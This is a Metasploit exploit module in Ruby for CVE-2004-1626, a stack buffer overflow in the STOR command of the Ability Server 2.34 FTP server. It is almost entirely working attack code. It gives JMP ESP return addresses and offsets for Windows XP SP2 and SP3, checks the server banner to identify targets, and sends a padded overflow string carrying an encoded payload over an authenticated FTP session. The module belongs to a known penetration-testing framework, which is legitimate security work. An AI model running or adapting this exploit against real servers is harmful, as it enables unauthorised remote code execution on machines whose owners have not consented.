Ability Server 2.34 STOR Command Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in Ability Server 2.34.
          Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
          which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

          The vulnerability has been confirmed on version 2.34 and has also been reported
          in version 2.25 and 2.32. Other versions may also be affected.
        },
        'Author' => [
          'muts', # Initial discovery
          'Dark Eagle',     # same as muts
          'Peter Osterberg' # Metasploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1626' ],
          [ 'OSVDB', '11030'],
          [ 'EDB', '588'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Privileged' => false,
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\xff"
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP2 ENG',
            {
              # JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
              'Ret' => 0x73E32ECF,
              'Offset' => 966
            }
          ],
          [
            'Windows XP SP3 ENG',
            {
              # JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully pathced)
              'Ret' => 0x7E429353,
              'Offset' => 966
            }
          ],
        ],
        'DisclosureDate' => '2004-10-22',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ], fallbacks: ['USERNAME']),
        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ], fallbacks: ['PASSWORD'])
      ]
    )
  end

  def check
    connect
    disconnect
    if banner =~ /Ability Server 2\.34/
      return Exploit::CheckCode::Appears('FTP banner indicates Ability Server 2.34')
    else
      if banner =~ /Ability Server/
        return Exploit::CheckCode::Detected('FTP banner indicates Ability Server')
      end
    end

    return Exploit::CheckCode::Safe('FTP banner does not match Ability Server')
  end

  def exploit
    c = connect_login
    return if not c

    myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

    # Take client ip + ftp user lengths into account for EIP offset
    padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
    junk = rand_text_alpha(padd_size)

    sploit = junk
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd(['STOR', sploit], false)
    handler
    disconnect
  end
end